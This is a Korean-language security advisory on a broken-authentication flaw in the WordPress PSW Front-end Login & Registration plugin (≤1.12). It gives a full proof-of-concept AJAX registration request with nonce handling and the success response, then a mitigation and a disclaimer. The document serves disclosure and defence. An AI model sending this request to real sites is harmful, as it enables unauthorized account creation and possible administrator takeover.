
WordPress PSW Front-end Login & Registration Plugin <= 1.12 은(는) Broken Authentication에 취약합니다
이 플러그인은 회원가입 메커니즘에 심각한 결함을 노출합니다.
단축 코드 기반 프론트엔드 회원가입 양식([psw_registration])을 제공하면서도 적절한 역할 제한이나 안전한 검증을 적용하지 않습니다.
공격자는 이 메커니즘을 악용하여 인증 없이 계정을 생성할 수 있으며, 사이트의 default_role이 잘못 구성된 경우(예: administrator로 설정된 경우) 전체 권한 상승이 발생할 수 있습니다.
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_form은 요청이 통과하는 데 필요한 nonce 필드입니다.
이 nonce는 프론트엔드의[psw_registration]단축 코드에서 동적으로 생성됩니다.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_end에 인증되지 않은 AJAX 접근을 허용합니다.default_role 설정을 따라 사용자 역할을 할당합니다.administrator), 공격자는 전체 접근 권한을 얻습니다.회원가입 양식을 노출하고 psw_form에 대한 유효한 nonce를 생성하기 위해 다음 단축 코드가 사용됩니다:
[psw_registration]
이는 AJAX 호출을 성공시키는 데 필요한 숨겨진 nonce 필드를 포함하는 회원가입 양식을 렌더링합니다.
default_role을 안전한 값(예: subscriber)으로 모니터링 및 고정이 보고서는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
허가 없이 이 취약점을 악용하면 법적 및 윤리적 경계를 위반할 수 있습니다.
NXploited (Khaled_Alenazi)